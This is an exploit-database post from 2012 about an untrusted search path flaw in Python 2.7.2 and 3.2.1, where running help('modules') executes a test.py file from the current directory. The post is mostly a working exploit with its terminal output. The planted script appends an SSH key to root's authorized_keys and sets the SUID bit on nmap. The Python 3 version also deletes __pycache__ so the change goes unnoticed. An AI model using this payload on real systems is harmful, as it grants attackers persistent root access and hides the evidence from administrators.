Home / exploits Python Untrusted Search Path / Code Execution
Posted on 09 July 2012
# Exploit Title: Python untrusted search path/code execution vulnerability # Date: 7.6.12 # Exploit Author: rogueclown # Vendor Homepage: http://www.python.org # Software Link: http://www.python.org/getit/releases/ # Version: python 2.7.2 and python 3.2.1 # Tested on: linux (my test machine was OpenSUSE 12.1) # # This is an expansion on www.exploit-db.com/exploits/19523/ -- a big thanks, # and the lion's share of the credit, to ShadowHatesYou (Shadow@SquatThis.net). # They found the vulnerability; i just found a more generalized application # of it. # # Basically, i found that it's not just python-wrapper that executes a test.py # script within the current working directory when help('modules') is run -- # python itself does that. In python 2, it works just as ShadowHatesYou showed # it in his python-wrapper exploit. # # This still works in python 3, but you have to do a bit more to cover your # tracks. In the working directory, python 3 drops a __pycache__ directory # with a .pyc file inside it. Most of the bytecode in there is not human # readable, but it displays the shell command called by the script in # plaintext, making it pretty obvious that something funny happened. However, # you can get around this by making sure that your test.py script removes the # __pycache__ directory from the working directory. # # rogueclown # rogueclown@rogueclown.net # 7.6.12 ############ # PYTHON 2 # ############ adalia@bukkit:~/security/pythonwrapper> ls -hl test.py -rw-r--r-- 1 adalia users 144 Jul 4 15:47 test.py adalia@bukkit:~/security/pythonwrapper> cat test.py #!/usr/bin/python import os os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap") adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap -rwxr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap adalia@bukkit:~/security/pythonwrapper> su Password: bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys ls: cannot access /root/.ssh/authorized_keys: No such file or directory bukkit:/home/adalia/security/pythonwrapper # python Python 2.7.2 (default, Aug 19 2011, 20:41:43) [GCC] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('modules') Please wait a moment while I gather a list of all available modules... /usr/lib64/python2.7/site-packages/gobject/constants.py:24: Warning: g_boxed_type_register_static: assertion `g_type_from_name (name) == 0' failed import gobject._gobject /usr/lib64/python2.7/site-packages/twisted/words/im/__init__.py:8: UserWarning: twisted.im will be undergoing a rewrite at some point in the future. warnings.warn("twisted.im will be undergoing a rewrite at some point in the future.") ** Message: pygobject_register_sinkfunc is deprecated (GstObject) Alacarte abc gtkunixprint readline BaseHTTPServer aifc gzip repr Bastion antigravity hashlib resource BeautifulSoup anydbm heapq rexec BeautifulSoupTests argparse hmac rfc822 CDROM array hotshot rlcompleter CGIHTTPServer ast hpmudext robotparser ConfigParser asynchat htmlentitydefs rpm Cookie asyncore htmllib runpy Crypto atexit httplib satsolver DLFCN atk httplib2 scanext DocXMLRPCServer atom ieee1284 sched HTMLParser audiodev ihooks scout IN base64 imaplib select MimeWriter bdb imghdr serial OpenSSL beaker imp sets PAM binascii importlib setuptools PyQt4 binhex imputil sgmllib Queue bisect inspect sha SimpleHTTPServer bsddb io shelve SimpleXMLRPCServer butterfly itertools shlex SocketServer bz2 json shutil StringIO cPickle keyword signal TYPES cProfile lib2to3 simplejson UserDict cStringIO libproxy sip UserList cairo libvboxjxpcom site UserString calendar libxml2 smbc VBoxAuth cgi libxml2mod smtpd VBoxAuthSimple cgitb linecache smtplib VBoxDD chunk linuxaudiodev sndhdr VBoxDD2 cmath locale socket VBoxDDU cmd logging spwd VBoxDbg code louie sqlite3 VBoxGuestControlSvc codecs macpath sre VBoxGuestPropSvc codeop macurl2path sre_compile VBoxHeadless coherence mad sre_constants VBoxKeyboard collections mailbox sre_parse VBoxNetDHCP colorsys mailcap ssl VBoxOGLhostcrutil commands mako stat VBoxOGLhosterrorspu compileall markupbase statvfs VBoxOGLrenderspu compiler markupsafe string VBoxPython contextlib marshal stringold VBoxPython2_7 cookielib math stringprep VBoxREM copy md5 strop VBoxRT copy_reg mhlib struct VBoxSDL crypt mimetools subprocess VBoxSharedClipboard csv mimetypes sunau VBoxSharedCrOpenGL ctypes mimify sunaudio VBoxSharedFolders cups mmap symbol VBoxVMM cupsext modulefinder symtable VBoxXPCOM cupshelpers multifile sys VBoxXPCOMC curl multiprocessing sysconfig VirtualBox datetime mutagen syslog Xlib dbhash mutex tabnanny _LWPCookieJar dbus mygpoclient tarfile _MozillaCookieJar dbus_bindings netrc telepathy __builtin__ decimal new telnetlib __future__ difflib nis tempfile _abcoll dircache nntplib termios _ast dis ntpath textwrap _bisect distutils nturl2path this _bsddb doctest numbers thread _codecs drv_libxml2 numpy threading _codecs_cn dsextras opcode time _codecs_hk dumbdbm operator timeit _codecs_iso2022 dummy_thread optparse toaiff _codecs_jp dummy_threading os token _codecs_kr easy_install os2emxpath tokenize _codecs_tw email ossaudiodev trace _collections encodings packagekit traceback _csv errno pango tty _ctypes exceptions pangocairo twisted _ctypes_test eyeD3 papyon types _dbus_bindings fcntl parser unicodedata _dbus_glib_bindings feedparser pcardext unittest _elementtree filecmp pdb uno _functools fileinput pickle unohelper _hashlib fnmatch pickletools urlgrabber _heapq formatter pipes urllib _hotshot fpformat pkg_resources urllib2 _io fractions pkgutil urlparse _json ftplib platform user _locale functools plistlib uu _lsprof future_builtins popen2 uuid _md5 gc poplib vboxapi _multibytecodec gdata posix vboxshell _multiprocessing genericpath posixfile volkeys _pyio getopt posixpath warnings _random getpass pprint wave _satsolver gettext profile weakref _sha gi pstats webbrowser _sha256 gio pty whichdb _sha512 glib pwd wsgiref _socket glob py_compile xdg _sqlite3 gmenu pyclbr xdrlib _sre gnome_sudoku pycurl xml _ssl gnomekeyring pydoc xmllib _strptime gobject pydoc_data xmlrpclib _struct gpod pyexpat xxsubtype _symtable gpodder pygst zeitgeist _testcapi grp pygtk zipfile _threading_local gst pynotify zipimport _warnings gstoption quopri zlib _weakref gtk random zope _weakrefset gtktrayicon re Enter any module name to get more help. Or, type "modules spam" to search for modules whose descriptions contain the word "spam". >>> exit() bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap -rwsr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys ssh-rsa rogueclown washere bukkit:/home/adalia/security/pythonwrapper # ############ # PYTHON 3 # ############ adalia@bukkit:~/security/pythonwrapper> ls -hl test.py -rw-r--r-- 1 adalia users 169 Jul 4 15:51 test.py adalia@bukkit:~/security/pythonwrapper> cat test.py #!/usr/bin/python import os os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap; /bin/rm -rf __pycache__") adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap -rwxr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap adalia@bukkit:~/security/pythonwrapper> su Password: bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys ls: cannot access /root/.ssh/authorized_keys: No such file or directory bukkit:/home/adalia/security/pythonwrapper # python3 Python 3.2.1 (default, Jul 18 2011, 16:24:40) [GCC] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('modules') Please wait a moment while I gather a list of all available modules... CDROM binascii inspect shelve DLFCN binhex io shlex IN bisect itertools shutil TYPES builtins json signal __future__ bz2 keyword site _abcoll cProfile linecache smtpd _ast calendar locale smtplib _bisect cgi logging sndhdr _codecs cgitb macpath socket _codecs_cn chunk macurl2path socketserver _codecs_hk cmath mailbox spwd _codecs_iso2022 cmd mailcap sqlite3 _codecs_jp code marshal sre_compile _codecs_kr codecs math sre_constants _codecs_tw codeop mimetypes sre_parse _collections collections mmap ssl _compat_pickle colorsys modulefinder stat _csv compileall multiprocessing string _ctypes concurrent netrc stringprep _datetime configparser nis struct _dummy_thread contextlib nntplib subprocess _elementtree copy ntpath sunau _functools copyreg nturl2path symbol _hashlib crypt numbers symtable _heapq csv opcode sys _io ctypes operator sysconfig _json datetime optparse syslog _locale decimal os tabnanny _lsprof difflib os2emxpath tarfile _markupbase dis ossaudiodev telnetlib _multibytecodec distutils parser tempfile _multiprocessing doctest pdb termios _pickle dummy_threading pickle textwrap _posixsubprocess email pickletools this _pyio encodings pipes threading _random errno pkgutil time _socket fcntl platform timeit _sqlite3 filecmp plistlib token _sre fileinput poplib tokenize _ssl fnmatch posix trace _string formatter posixpath traceback _strptime fractions pprint tty _struct ftplib profile turtle _symtable functools pstats types _thread gc pty unicodedata _threading_local genericpath pwd unittest _warnings getopt py_compile urllib _weakref getpass pyclbr uu _weakrefset gettext pydoc uuid abc glob pydoc_data warnings aifc grp queue wave antigravity gzip quopri weakref argparse hashlib random webbrowser array heapq re wsgiref ast hmac readline xdrlib asynchat html reprlib xxlimited asyncore http resource xxsubtype atexit imaplib rlcompleter zipfile audioop imghdr runpy zipimport base64 imp sched zlib bdb importlib select Enter any module name to get more help. Or, type "modules spam" to search for modules whose descriptions contain the word "spam". >>> exit() bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap -rwsr-xr-x 1 root root 1.4M Oct 29 2011 /usr/bin/nmap bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys ssh-rsa rogueclown washere bukkit:/home/adalia/security/pythonwrapper # ls __pycache__ ls: cannot access __pycache__: No such file or directory bukkit:/home/adalia/security/pythonwrapper #
